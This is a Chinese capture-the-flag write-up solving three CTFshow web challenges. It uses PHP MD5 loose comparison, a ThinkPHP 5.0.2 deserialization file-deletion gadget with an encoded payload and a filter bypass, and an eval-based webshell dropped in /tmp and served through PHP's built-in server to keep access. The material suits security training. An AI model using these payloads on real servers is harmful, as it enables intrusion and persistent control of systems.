web签到
<?php
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
echo "小伙子不错嘛!!flag给你了:" . $flag;
} else {
echo "偶吼,带黑阔被窝抓到了!!!!";
}
}
$a==md5($a)
0e215962017
的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
eztp
<?php
namespace app\index\controller;
class Index
{
public function index($run=[])
{
highlight_file(__FILE__);
echo '<h1>Welcome to CTFSHOW</h1></br>';
echo 'Powered by PHPthink5.0.2</br>';
echo dirname(__FILE__);
if (!empty($run[2])){
echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
}
if (!empty($run[1])){
unserialize($run[1]);
}
}
// hint:/index/index/backdoor
public function backdoor(){
if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
echo "Try to post CMD arguments".'<br/>';
$data = input('post.');
if (!preg_match('/flag/i',$data['cmd'])){
$cmd = escapeshellarg($data['cmd']);
$cmd='cat '.$cmd;
echo $cmd;
system($cmd);
}else{
echo "No No No";
}
}else{
echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
}
}
}
通过backdoor
得到flag,但需要先删除install.lock
根据报错信息,Thinkphp版本为5.0.2
可以利用Thinkphp5.1任意文件删除漏洞
<?php
namespace think\process\pipes;
use think\Process;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = ["/var/www/html/application/index/controller/../../install.lock"];
}
}
echo urlencode(serialize(New Windows()))."\n";
?>
传参数
/index.php/index/index/?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D
成功删除后访问/index.php/index/index/backdoor
POST
cmd=/fl%99ag
不要离开我
<?php
// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['action'];
switch($a){
case 'cmd':
eval($_POST['cmd']);
break;
case 'check':
file_get_contents("http://checker/api/check");
break;
default:
die('params not validate');
}
内置Web Server
CLI SAPI 提供了一个内置的Web服务器。
这个内置的Web服务器主要用于本地开发使用,不可用于线上产品环境。
URI请求会被发送到PHP所在的的工作目录(Working Directory)进行处理,除非你使用了-t参数来自定义不同的目录。
如果请求未指定执行哪个PHP文件,则默认执行目录内的index.php 或者 index.html。如果这两个文件都不存在,服务器会返回404错误。
当你在命令行启动这个Web Server时,如果指定了一个PHP文件,则这个文件会作为一个“路由”脚本,意味着每次请求都会先执行这个脚本。如果这个脚本返回 false
,那么直接返回请求的文件(例如请求静态文件不作任何处理)。否则会把输出返回到浏览器。
php -S 开启内置服务器 -t 指定目录
payload:
http://xxxxx/?action=cmd
POST
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[a]);?>");system ("sleep 5 && php -S 0.0.0.0:80 -t /tmp/");
在可写的/tmp目录下传木马并写系统命令,然后提交5秒内进⾏check,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可。
参考链接:
https://lewiserii.github.io/2021/09/21/ctfshow-WP/CTFshow-%E6%9C%88%E9%A5%BC%E6%9D%AF(%E7%AC%AC%E4%BA%8C%E5%B1%8A)-%E9%83%A8%E5%88%86wp/